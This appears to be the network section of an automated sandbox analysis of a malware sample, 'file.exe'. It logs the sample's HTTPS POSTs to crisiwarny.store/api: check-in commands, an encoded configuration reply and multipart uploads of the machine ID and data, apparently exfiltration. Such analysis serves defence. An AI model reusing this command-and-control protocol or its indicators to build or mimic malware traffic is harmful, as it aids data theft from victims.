Oct 26, 2024 23:15:06.204452991 CEST	1.1.1.1	192.168.2.5	0x2099	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false
Oct 26, 2024 23:15:06.204452991 CEST	1.1.1.1	192.168.2.5	0x2099	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.95.91	443	6464	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:15:06 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 21:15:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 21:15:07 UTC	1005	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:15:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ksdsrcuuiemuhsa30djubh51vg; expires=Wed, 19 Feb 2025 15:01:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dPiX%2BSb3F5Om6DDVzgN1czq71ZTLSgG%2B8QgBbRhTxRQ6Zi2vwX2I81kte9WB8f1qkNvK7m8wPQgDJOrpgoledrxV0gNvhw6EOGsyq0uD9Makizahn3m4WoFgP5tLAaGHkhR3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8d75b86f2d6b24-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1098&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=2558303&cwnd=251&unsent_bytes=0&cid=121d140c794b7ca3&ts=549&x=0"
2024-10-26 21:15:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 21:15:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.95.91	443	6464	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:15:08 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 21:15:08 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 21:15:08 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q0u8kv8kqmglfo5qa6dugegtij; expires=Wed, 19 Feb 2025 15:01:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r1jFHHjqiX0YGoHlX3%2BcuPQApb5alt98KAnuSXeZ2VBRkctHBRM2lVE%2B9KYZJac5JSYm3sYXWxDDCCDEFd7AgnH56%2BTthMvDmMCdtoIvDW4C2Z10tD0pOnbPCXaWKy9IXPHU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8d75c01a58eafe-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1303&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=2162808&cwnd=241&unsent_bytes=0&cid=b942d915abbcfa39&ts=525&x=0"
2024-10-26 21:15:08 UTC	362	IN	Data Raw: 31 64 37 63 0d 0a 4d 4f 44 67 36 42 62 36 4e 64 71 6f 70 6c 34 2b 6f 2f 67 71 2f 6a 57 67 7a 68 46 47 42 63 73 67 6d 71 79 47 44 6d 4b 59 35 38 5a 4c 77 70 62 4b 4c 4d 34 5a 2b 4e 76 44 66 41 54 58 69 6c 2b 62 47 59 4b 76 64 57 51 2f 72 55 48 32 33 2b 4d 69 51 4f 36 4b 35 41 71 47 67 59 52 6c 6e 78 6e 34 7a 64 35 38 42 50 69 44 43 4a 74 62 67 76 51 7a 49 32 2b 70 51 66 62 4f 35 32 55 4e 36 49 75 6c 57 49 79 48 67 48 4f 5a 55 62 76 45 79 7a 74 62 78 70 6c 41 6b 46 7a 4e 70 6e 78 6b 4b 65 6c 46 34 49 36 38 4c 43 2f 39 6b 36 64 39 67 5a 4f 44 4e 49 63 5a 6f 59 72 44 4d 42 79 5a 32 6b 75 62 56 38 79 6f 64 53 31 74 6f 30 6a 2b 7a 2b 4a 6b 45 76 47 42 72 6c 69 43 68 49 46 35 6b 45 57 32 7a 73 77 77 58 63 79 5a 43 4e 49 58 78 62 51 7a 66 43 66 36 63 50 76 66 39 Data Ascii: 1d7cMODg6Bb6Ndqopl4+o/gq/jWgzhFGBcsgmqyGDmKY58ZLwpbKLM4Z+NvDfATXil+bGYKvdWQ/rUH23+MiQO6K5AqGgYRlnxn4zd58BPiDCJtbgvQzI2+pQfbO52UN6IulWIyHgHOZUbvEyztbxplAkFzNpnxkKelF4I68LC/9k6d9gZODNIcZoYrDMByZ2kubV8yodS1to0j+z+JkEvGBrliChIF5kEW2zswwXcyZCNIXxbQzfCf6cPvf9
2024-10-26 21:15:08 UTC	1369	IN	Data Raw: 57 64 4f 52 51 5a 46 61 77 71 46 35 4b 32 53 70 52 66 4c 45 36 32 59 45 39 34 69 69 55 6f 4c 43 78 44 53 66 54 2f 69 53 68 42 39 5a 30 5a 31 45 69 68 58 34 37 47 78 71 66 75 6c 46 39 49 36 38 4c 41 6a 2f 68 71 64 5a 6a 59 47 43 66 34 70 58 71 73 7a 4a 4f 55 37 48 6e 30 61 57 56 4e 43 6d 66 53 4a 6b 6f 45 6e 78 79 2b 4e 6f 51 4c 54 46 6f 30 72 43 32 73 70 56 6c 56 79 30 77 4e 4d 38 48 4e 37 55 55 64 78 51 7a 75 77 72 5a 47 4f 6f 52 76 6e 4b 36 6d 49 45 39 6f 4f 71 58 34 32 45 67 48 53 66 58 62 44 43 78 54 46 58 7a 70 70 4e 6b 56 50 45 6f 48 49 68 4a 2b 63 43 2f 39 61 6b 4e 45 44 55 67 71 64 41 77 4c 65 4a 65 70 5a 51 72 6f 72 62 63 6b 57 42 6e 55 54 63 44 34 4b 69 64 69 74 31 71 46 44 39 77 50 5a 67 42 66 79 49 70 31 79 43 68 34 31 35 6c 6c 47 2f 79 63 77 Data Ascii: WdORQZFawqF5K2SpRfLE62YE94iiUoLCxDSfT/iShB9Z0Z1EihX47GxqfulF9I68LAj/hqdZjYGCf4pXqszJOU7Hn0aWVNCmfSJkoEnxy+NoQLTFo0rC2spVlVy0wNM8HN7UUdxQzuwrZGOoRvnK6mIE9oOqX42EgHSfXbDCxTFXzppNkVPEoHIhJ+cC/9akNEDUgqdAwLeJepZQrorbckWBnUTcD4Kidit1qFD9wPZgBfyIp1yCh415llG/ycw
2024-10-26 21:15:08 UTC	1369	IN	Data Raw: 55 54 63 44 34 4b 67 65 69 52 73 6f 30 62 34 79 65 6c 70 41 2f 32 47 71 56 57 49 6a 49 31 77 6c 46 36 31 7a 4d 51 37 57 4d 53 49 54 5a 56 62 7a 75 77 39 5a 47 43 78 41 71 43 4f 79 32 73 57 2b 61 71 6e 51 34 76 43 6c 54 71 42 46 37 2f 47 68 47 51 63 78 70 39 41 6c 31 48 4b 72 47 45 68 61 61 4a 44 38 73 6a 6c 59 51 7a 38 68 61 56 53 68 49 36 4b 63 35 39 46 71 73 2f 43 4c 6c 61 42 31 41 69 62 54 34 4c 30 4d 78 4a 33 76 6c 50 75 6a 4e 46 76 44 76 53 43 73 68 4b 64 7a 4a 4d 30 6e 31 76 34 6b 6f 51 33 58 4d 32 64 51 4a 70 54 79 71 4e 38 4c 58 57 6f 54 76 62 63 34 32 77 4a 39 49 71 6f 57 34 2b 46 68 33 2b 53 57 72 7a 4e 78 58 77 53 67 5a 31 51 33 41 2b 43 6d 6d 4d 70 61 34 64 4a 39 4d 65 6b 63 30 37 6a 78 61 4e 65 77 74 72 4b 63 4a 52 66 73 73 58 4e 4e 6c 62 4f Data Ascii: UTcD4KgeiRso0b4yelpA/2GqVWIjI1wlF61zMQ7WMSITZVbzuw9ZGCxAqCOy2sW+aqnQ4vClTqBF7/GhGQcxp9Al1HKrGEhaaJD8sjlYQz8haVShI6Kc59Fqs/CLlaB1AibT4L0MxJ3vlPujNFvDvSCshKdzJM0n1v4koQ3XM2dQJpTyqN8LXWoTvbc42wJ9IqoW4+Fh3+SWrzNxXwSgZ1Q3A+CmmMpa4dJ9Mekc07jxaNewtrKcJRfssXNNlbO
2024-10-26 21:15:08 UTC	1369	IN	Data Raw: 69 43 34 6a 4d 6a 66 2b 6b 61 75 4f 48 44 57 55 4c 62 76 2b 52 4e 7a 4a 76 4b 63 35 51 58 34 49 72 49 50 31 44 4a 6c 55 36 56 57 38 69 6c 65 43 68 73 72 55 37 78 79 2b 4a 74 42 66 2b 45 6f 46 36 49 68 49 6c 33 6c 31 69 33 77 6f 52 79 48 4d 61 43 43 4d 51 58 35 37 74 34 4b 6d 48 70 58 62 62 58 70 47 73 4d 75 74 33 6b 58 6f 75 45 6a 48 47 55 56 72 37 43 77 54 52 59 77 4a 78 4f 6e 31 6a 47 71 58 49 72 59 36 56 4d 38 73 2f 6c 59 41 76 31 6a 71 45 53 7a 4d 4b 4e 62 4e 67 50 2b 50 76 48 4b 6b 76 52 6c 67 69 44 47 64 76 73 64 43 67 6e 38 51 4c 35 33 4f 35 6d 44 76 2b 4b 6f 56 47 4e 68 59 64 79 6c 46 32 78 77 73 49 7a 56 64 4f 5a 52 4a 4a 51 7a 4b 42 39 4b 57 32 71 54 37 69 41 70 47 73 59 75 74 33 6b 66 6f 57 50 70 48 2b 55 55 50 6a 56 69 69 55 63 78 70 59 49 78 Data Ascii: iC4jMjf+kauOHDWULbv+RNzJvKc5QX4IrIP1DJlU6VW8ileChsrU7xy+JtBf+EoF6IhIl3l1i3woRyHMaCCMQX57t4KmHpXbbXpGsMut3kXouEjHGUVr7CwTRYwJxOn1jGqXIrY6VM8s/lYAv1jqESzMKNbNgP+PvHKkvRlgiDGdvsdCgn8QL53O5mDv+KoVGNhYdylF2xwsIzVdOZRJJQzKB9KW2qT7iApGsYut3kfoWPpH+UUPjViiUcxpYIx
2024-10-26 21:15:08 UTC	1369	IN	Data Raw: 46 49 33 65 35 51 62 72 2f 38 6d 38 57 38 59 69 6f 45 70 33 4d 6b 7a 53 66 57 2f 69 53 68 44 70 54 79 4a 6c 48 6e 56 37 4f 6f 58 59 74 59 71 68 45 2f 4d 54 75 62 41 62 38 68 4b 46 59 67 59 4f 41 66 5a 39 66 76 38 6e 57 66 42 4b 42 6e 56 44 63 44 34 4b 46 64 44 5a 70 75 51 4c 6e 67 50 30 73 42 2f 62 46 2f 42 4b 47 69 49 56 77 6e 31 75 2b 7a 38 49 78 58 63 36 62 53 4a 4e 54 79 61 56 31 4a 57 71 73 54 2f 7a 63 37 6d 63 50 39 6f 79 6f 58 38 4c 4d 79 6e 4f 41 46 2b 43 4b 39 54 46 53 7a 35 31 65 33 45 69 4d 74 54 4d 6a 61 2b 6b 61 75 4d 2f 6f 59 77 50 31 68 71 64 54 69 4a 43 59 65 4a 46 66 76 63 62 50 4d 6c 72 54 6e 45 65 56 56 4d 47 6c 64 43 78 72 6f 30 48 2f 6a 71 6f 73 42 2b 4c 46 2f 42 4b 68 6c 5a 70 35 32 45 6a 32 30 34 51 37 55 49 48 43 43 4a 52 61 79 71 Data Ascii: FI3e5Qbr/8m8W8YioEp3MkzSfW/iShDpTyJlHnV7OoXYtYqhE/MTubAb8hKFYgYOAfZ9fv8nWfBKBnVDcD4KFdDZpuQLngP0sB/bF/BKGiIVwn1u+z8IxXc6bSJNTyaV1JWqsT/zc7mcP9oyoX8LMynOAF+CK9TFSz51e3EiMtTMja+kauM/oYwP1hqdTiJCYeJFfvcbPMlrTnEeVVMGldCxro0H/jqosB+LF/BKhlZp52Ej204Q7UIHCCJRayq
2024-10-26 21:15:08 UTC	1369	IN	Data Raw: 6f 45 62 77 7a 65 52 6f 42 50 32 41 70 31 36 4a 68 59 6c 37 6e 46 36 32 77 38 74 38 45 6f 47 64 55 4e 77 50 67 6f 31 6f 4a 32 75 6b 41 75 65 41 2f 53 77 48 39 73 58 38 45 6f 36 4d 6a 33 53 53 55 62 7a 50 77 6a 5a 5a 77 5a 46 4c 6b 31 50 45 71 48 77 6b 62 4b 42 44 2f 73 76 75 5a 77 62 33 68 71 4a 55 77 73 7a 4b 63 34 41 58 34 49 72 6b 4a 31 48 4e 6e 51 69 44 47 64 76 73 64 43 67 6e 38 51 4c 7a 77 75 42 72 41 50 65 47 72 46 65 47 69 49 39 30 6b 45 57 77 79 73 4d 75 54 73 47 54 54 5a 42 55 77 71 68 31 4c 57 47 71 52 72 69 41 70 47 73 59 75 74 33 6b 66 34 36 46 6f 33 4f 44 46 36 65 45 33 58 78 62 7a 64 6f 51 33 46 62 4a 70 6e 77 70 5a 4b 39 42 38 38 76 75 62 51 66 79 69 4c 5a 52 6a 59 32 4f 64 4a 64 52 76 73 76 4c 4f 6c 76 49 6d 30 43 62 46 34 7a 73 64 44 77 Data Ascii: oEbwzeRoBP2Ap16JhYl7nF62w8t8EoGdUNwPgo1oJ2ukAueA/SwH9sX8Eo6Mj3SSUbzPwjZZwZFLk1PEqHwkbKBD/svuZwb3hqJUwszKc4AX4IrkJ1HNnQiDGdvsdCgn8QLzwuBrAPeGrFeGiI90kEWwysMuTsGTTZBUwqh1LWGqRriApGsYut3kf46Fo3ODF6eE3XxbzdoQ3FbJpnwpZK9B88vubQfyiLZRjY2OdJdRvsvLOlvIm0CbF4zsdDw
2024-10-26 21:15:08 UTC	349	IN	Data Raw: 4d 6e 7a 59 30 43 30 78 61 73 53 32 72 76 4b 66 5a 39 4d 71 64 7a 4a 4c 46 75 42 70 51 62 63 54 34 4c 30 4d 78 46 6b 70 30 7a 2f 32 50 55 68 4a 2b 79 50 6f 30 4b 46 6c 59 55 30 31 68 65 2b 69 70 78 76 45 6f 47 65 57 64 77 50 6b 76 34 6f 63 54 54 2b 45 71 72 52 71 6e 56 41 37 4d 58 38 41 4d 7a 43 6d 44 54 41 46 2f 2f 4a 31 69 35 61 77 6f 78 4c 32 32 6e 38 69 32 6b 70 59 62 35 54 78 76 44 6a 64 67 33 38 6b 72 55 65 6c 34 47 45 65 70 39 42 2b 49 53 45 4d 78 79 5a 6f 77 6a 55 46 2f 33 69 4d 7a 77 6e 38 51 4c 4e 7a 65 70 69 42 2b 79 55 36 58 57 59 6a 34 78 6a 69 52 66 32 69 73 4a 38 42 4a 48 55 43 4a 68 47 67 76 51 6a 64 6a 7a 38 45 61 2b 65 74 6e 4e 4f 34 38 57 79 45 74 72 51 78 44 53 4b 46 2b 43 4b 67 7a 39 4f 30 35 78 4c 69 6c 53 46 6b 6b 30 4b 59 4b 39 48 Data Ascii: MnzY0C0xasS2rvKfZ9MqdzJLFuBpQbcT4L0MxFkp0z/2PUhJ+yPo0KFlYU01he+ipxvEoGeWdwPkv4ocTT+EqrRqnVA7MX8AMzCmDTAF//J1i5awoxL22n8i2kpYb5TxvDjdg38krUel4GEep9B+ISEMxyZowjUF/3iMzwn8QLNzepiB+yU6XWYj4xjiRf2isJ8BJHUCJhGgvQjdjz8Ea+etnNO48WyEtrQxDSKF+CKgz9O05xLilSFkk0KYK9H
2024-10-26 21:15:08 UTC	1369	IN	Data Raw: 32 36 66 30 0d 0a 75 74 33 32 48 4d 4b 51 79 69 7a 59 45 4c 76 59 31 6a 70 66 31 35 6b 50 6f 6d 6e 42 75 6e 34 72 62 4b 68 38 78 75 44 70 62 51 50 30 78 35 56 45 6a 35 4b 4a 63 5a 39 70 68 73 54 44 4b 46 76 50 6e 45 6a 63 47 59 4b 6a 4d 33 78 65 36 51 71 34 38 61 6f 73 47 4c 72 64 35 47 65 42 6a 49 52 7a 6a 6b 62 31 36 64 49 78 55 38 71 62 43 4e 49 58 78 4f 77 72 64 43 6e 70 52 75 6d 4f 76 44 78 53 6f 64 44 33 42 64 4c 51 6c 54 71 42 46 36 36 4b 6e 47 34 53 67 59 67 49 78 42 65 46 6f 6e 34 6c 5a 4b 64 42 36 74 7a 69 62 78 62 35 77 70 70 73 6f 34 2b 42 65 4a 56 59 73 2f 54 36 48 56 48 4b 6c 6b 57 54 58 50 79 53 5a 69 64 70 70 30 58 75 33 36 51 69 51 50 58 46 2f 47 76 43 79 73 70 4c 31 68 65 67 69 70 78 38 61 63 4b 55 52 70 74 42 30 2b 46 53 4b 57 79 6c 54 Data Ascii: 26f0ut32HMKQyizYELvY1jpf15kPomnBun4rbKh8xuDpbQP0x5VEj5KJcZ9phsTDKFvPnEjcGYKjM3xe6Qq48aosGLrd5GeBjIRzjkb16dIxU8qbCNIXxOwrdCnpRumOvDxSodD3BdLQlTqBF66KnG4SgYgIxBeFon4lZKdB6tzibxb5wppso4+BeJVYs/T6HVHKlkWTXPySZidpp0Xu36QiQPXF/GvCyspL1hegipx8acKURptB0+FSKWylT
2024-10-26 21:15:08 UTC	1369	IN	Data Raw: 76 45 75 69 44 70 30 53 42 78 62 52 4b 76 55 43 37 32 73 49 2f 59 76 2b 78 52 4a 70 51 32 4b 74 31 41 6b 66 70 44 4c 6a 42 70 44 51 35 75 73 33 6b 62 63 7a 43 6b 6a 54 41 46 34 33 4a 79 6a 4a 62 31 34 73 46 75 55 44 42 76 48 55 6e 4a 2b 63 43 2f 6f 36 38 50 45 36 36 67 62 55 53 32 74 4c 59 4c 38 30 45 37 35 71 57 49 78 4c 59 32 6c 37 63 44 35 44 69 4d 7a 59 6e 38 51 4b 2f 7a 66 5a 2b 42 76 6d 54 70 78 57 38 76 4b 78 33 69 56 32 5a 78 39 51 37 59 76 2b 50 53 35 4a 5a 78 62 70 69 5a 43 6e 70 54 62 69 57 33 53 78 49 74 6f 4f 6e 52 4d 4b 39 78 44 53 41 46 2b 43 4b 38 54 39 53 7a 35 31 65 6a 52 72 6b 72 32 49 75 52 71 52 53 2f 34 36 71 4c 41 61 36 33 66 63 63 77 6f 61 62 4e 4d 41 48 36 70 47 52 62 77 75 52 79 46 66 53 54 6f 4b 36 4d 33 77 31 35 77 4c 71 6a 72 Data Ascii: vEuiDp0SBxbRKvUC72sI/Yv+xRJpQ2Kt1AkfpDLjBpDQ5us3kbczCkjTAF43JyjJb14sFuUDBvHUnJ+cC/o68PE66gbUS2tLYL80E75qWIxLY2l7cD5DiMzYn8QK/zfZ+BvmTpxW8vKx3iV2Zx9Q7Yv+PS5JZxbpiZCnpTbiW3SxItoOnRMK9xDSAF+CK8T9Sz51ejRrkr2IuRqRS/46qLAa63fccwoabNMAH6pGRbwuRyFfSToK6M3w15wLqjr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.95.91	443	6464	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:15:09 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: crisiwarny.store
2024-10-26 21:15:09 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 42 37 41 45 43 44 43 43 32 37 38 43 44 38 44 42 44 36 38 36 39 31 34 38 39 32 39 42 43 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7B7AECDCC278CD8DBD6869148929BC77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 21:15:10 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:15:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ga0274onchq40nafrue5jparbc; expires=Wed, 19 Feb 2025 15:01:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gvugeBqXlFCZ4ImXKQPlLLTA7BQTha%2FQgbVyAUFJEgsyg4iitxW8awzNtXfN3UBo8MVGRlu%2F3vVjIL5XCcxvYulGX00V3eCl7ezoelKIGyK%2FvDnVqUyx8TshUIdxsz%2BPrvEp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8d75c8beb06b61-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1265&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13780&delivery_rate=2222563&cwnd=251&unsent_bytes=0&cid=37563b7a7496b91e&ts=574&x=0"
2024-10-26 21:15:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 21:15:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.95.91	443	6464	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:15:10 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: crisiwarny.store
2024-10-26 21:15:10 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 42 37 41 45 43 44 43 43 32 37 38 43 44 38 44 42 44 36 38 36 39 31 34 38 39 32 39 42 43 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7B7AECDCC278CD8DBD6869148929BC77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 21:15:11 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:15:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mp0ud4jd5bnn5208e8lm6l2ovp; expires=Wed, 19 Feb 2025 15:01:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MSFatkKkTVbbte%2BkHI6SfGz6gmD3Uw6xeGe4%2Bm1lg%2BzU%2Byd3cA7kiQldxBjD6E2UUdkU0nIDWA1z62vW5XQZ%2BrOg8XIzZNKNnqc1CZsMYnDHBCWZ01MXq2dwmLsX4eyHG%2Fa6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8d75d0becd4790-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1030&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=16022&delivery_rate=2737240&cwnd=238&unsent_bytes=0&cid=619497add6eaf44e&ts=565&x=0"
2024-10-26 21:15:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 21:15:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.95.91	443	6464	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:15:12 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: crisiwarny.store
2024-10-26 21:15:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 42 37 41 45 43 44 43 43 32 37 38 43 44 38 44 42 44 36 38 36 39 31 34 38 39 32 39 42 43 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7B7AECDCC278CD8DBD6869148929BC77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
